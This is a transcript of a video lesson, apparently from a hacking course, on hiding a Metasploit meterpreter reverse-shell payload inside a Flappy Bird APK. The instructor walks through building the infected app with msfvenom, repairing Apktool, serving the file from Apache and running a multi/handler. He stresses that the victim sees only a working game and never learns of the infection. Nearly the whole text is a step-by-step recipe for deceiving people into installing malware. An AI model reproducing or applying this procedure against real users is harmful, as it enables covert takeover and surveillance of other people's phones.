Instructor: Welcome back
time to perform an advance attack on an Android device
or should I say this is more of a social engineering attack.
Because we are tricking the target into installing
an application that is infected with our payload.
Remember in one of the previous videos,
from the Android section where I showed you,
that we actually had Flappy Bird application right here
in the Android applications?
Well, you don't see it now because I deleted it.
But that application was actually infected with our payload
and I'm going to show you right now how we can do that.
The first thing that you want to do
is you first of all want to follow this tutorial.
And in case something doesn't work,
you want to run these commands.
I will just type them right now.
And in case you watch this entire tutorial
and something doesn't work.
Make sure to run these three commands and try it again.
The first command would be apt get remove Apktool.
Once again, don't run this right now.
I'm just showing it to you.
And after you execute this command,
you would want to navigate to the Firefox type Apktool.
And from the first link you want to click on how to install.
This will lead you to the installation of Apktool
and you want to navigate to the Linux installation
and follow these steps right here.
Once you follow these steps and install the Apktool.
Then the last command that you want to run
is apt get install zipalign.
But we're not going to run this at the moment.
We're only going to run this in case something doesn't work.
So let's give it a try.
Let's create a payload
and infect Flappy Bird application with it.
So for this to work.
We're going to need an actual payload,
and we are also going to need
the application of Flappy Bird.
Let's go with Flappy Bird first.
We all know the game.
Most of you probably even played the game.
So in order to download that,
we want to be searching for the apk file.
Remember, apk is something that we can run on Android.
So if I type Flappy Bird apk and I search for it.
I will find this link that says Flappy dash bird
dot en dot up down dot com.
Click on that link, it'll say Flappy Bird 1.3 version.
And we want to download
and click on this latest version right here.
Click on download.
It'll open this window.
We want to click on save file and then click on okay.
Once it finishes downloading,
we want to navigate to this arrow.
And we want to open the folder,
where we have our Flappy Bird apk file installed.
Let's also create our payload in this directory.
So open terminal here.
It'll open the terminal in this slash downloads directory.
And let me just zoom this in.
So you can see everything better.
And once we do that, I can type ls
and I will have this Flappy Bird application right here.
In order to inject our payload into this,
we're going to use a good old dash tax option
from the msfvenom.
And we're going to specify
the Flappy Bird Apk file right here.
Remember what dash X means.
It means that it'll try to make our payload inject
in this application right here.
All we are left to do right now is select the payload.
Which is going to be the good old meterpreter.
And we want to select the LHOST to be the IP address,
of our Kali Linux machine,
and L port to be any port that you want.
In our case, I'm just going to use
five five five five as usual.
And last option is dash O.
And let's just call it test dot apk.
Before you run it, just double check everything.
You downloaded the Flappy Bird application.
Make sure that it is an Apk file
or that it has this Apk extension.
You selected the correct payload.
You select the correct IP address.
And once all of that is done,
you can press enter right here.
While this is being executed,
let's go to the second terminal
and start our Apache two web server.
And let's go back and we do get some error right here.
Okay, so we got an error.
What are we going to do?
Let's run those three commands that I told you.
So the first one is sudo apt get remove Apktool.
(Instructor typing)
Enter the password.
It even tells us Apktool is not installed.
Okay, we're going to ignore this at the moment
and we are going to go to the official Apk site.
So what does it say right here?
Download Linux wrapper script.
Let's go there.
It will open this script.
Let's control A to select everything and then copy it.
Once we copy it, it'll tell us the next step.
Which is download Apktool.
But before you do that,
it tells us right click and save link as Apktool.
So we already copied the content of that.
Let's just go a nano Apktool.
Let's paste everything that we copied right here.
We can save this as Apktool.
And the next step is going to be download Apktool two
Let's go find newest here.
They gave us the link.
And once we go right here.
We want to download the newest one,
which is Apktool 2.4.1.
Let's click on that.
Let's save the file.
In just a few seconds it should finish the download.
And let's go back to check out what is the third step.
So we named the download the jar file to Apktool dot jar.
Hmm, let's do that.
It is in our downloads directory
and it seems that we actually have two of these.
So what I'm going to do
is I'm going to remove the first one.
And I'm going to rename the second one to.
What did it say?
Let's double check.
We want to rename it to Apktool dot jar.
So let's do that MV Apktool to the Apktool dot jar.
Okay, great.
The fourth step is move both of these files
that we just downloaded and created
to this location right here.
And it even tells us root is needed for this.
So let's enter the root account.
And let's move first the Apktool
to slash user slash local slash bin.
And after that we can move the Apktool dot jar
to slash user slash local slash bin.
Great.
And fifth step is make sure both files are executable.
For this, we must navigate to that actual directory.
And we want to do and type chmod plus x Apktool,
and chmod plus x Apktool dot jar.
Great.
And the last step is try running Apktool via command line.
So if I just type Apktool.
Awesome, it works.
So another thing that you might want to give it a try.
Is in case our payload creation
still doesn't work,
make sure that you're running the command as route account.
Matter of fact, we're going to try to create a payload
right now as route account.
We are not going to go back to the regular user.
And once you do that, let's go and type the same command.
Once again, make sure that you're a route account.
We want to type a dash X option,
select our apk Flappy Bird file,
then dash P for the payload.
And LHOST And LPORT.
And at the end dash o.
Now let's call it test dot apk.
Press enter and let's see whether it will work right now.
So this command can take a few seconds to actually execute,
and if we don't get any error,
that means our command worked.
And here it is.
It finished with no errors.
It went through all of these steps
of unpacking the apk and setting all
of the permission options for our application.
And we got the payload size right here
and saved as test dot apk.
Now if you still got an error,
try running this command as well,
which is apt get install zipalign.
And after this installs, try creating the payload once again
and see if it works then.
But since we already got our payload right here.
Let's copy it or move it to slash bar slash www slash html.
Once again, make sure Apache tool is started.
And if I go right here, go and visit the Google Home.
While this opens, what I'm going to do is run MSF console.
Going to close all of these previous tabs.
As we don't really need them.
And let's just wait for the MSF console to open.
And while it does that, let's refresh our page.
Here is our test dot apk.
And you will notice that our payload size
is significantly larger
than the previous payloads that we used.
And this is due to us adding this inside of a Flappy Bird.
So we are not only going to run the actual payload,
but we are also going to run the game Flappy Bird.
And the target will have no idea that in the background,
they executed our meterpreter reverse shell.
Let's go and set up all of the settings right here.
Use exploit multi handler.
Set payload to Android meterpreter, reverse tcp,
set LHOST, and set outport, and run the reverse TCP handler.
Great.
Once it does that, we can click on the test dot apk.
It'll ask us whether we want to download.
I'm going to click on download
open the test dot apk, go through these settings.
And just a quick note.
See right here that the name
of the actual application is different.
It's called Flappy Bird
and it has a different icon than to our previous palettes.
So if the target sees this, they will think
that they're downloading a regular Flappy Bird application.
And let's click on install.
Install anyway.
And let's click first on don't send and run the application.
And you will see straight away it actually went inside
the Flappy Bird game.
You can see it opened right here.
But if we go back to Kali Linux.
We got our meterpreter session right here.
And we can execute all of the commands
that we were able to execute with our previous payloads.
How cool is that?
Our target will have no idea that they have been infected
because they just opened the application
that they thought they were running.
Now you don't have to use Flappy Bird.
You can use any other application whatsoever as long
as it has dot Apk extension.
Great.
Now that we did this in the next video,
I will show you a way of how you can infect the target
in a different network.
So there is one way which is called port forwarding.
But for that way,
you need to actually have access to your router.
In case you don't have access to your router.
There is a second way by using a certain tool
that we will cover in the next video.
But before we do that, let's give Flappy Bird a try.
Let's play it once.
And let's see who will have a better score.
(bird thuds)
It is going a little bit slow
because it is a virtual machine.
(bell clanging)
Nonetheless, you can see that the game works.
And I actually didn't go far.
I made it only two points.
If you do better,
make sure you post it in the questions.
Nonetheless, let's get straight into the next video.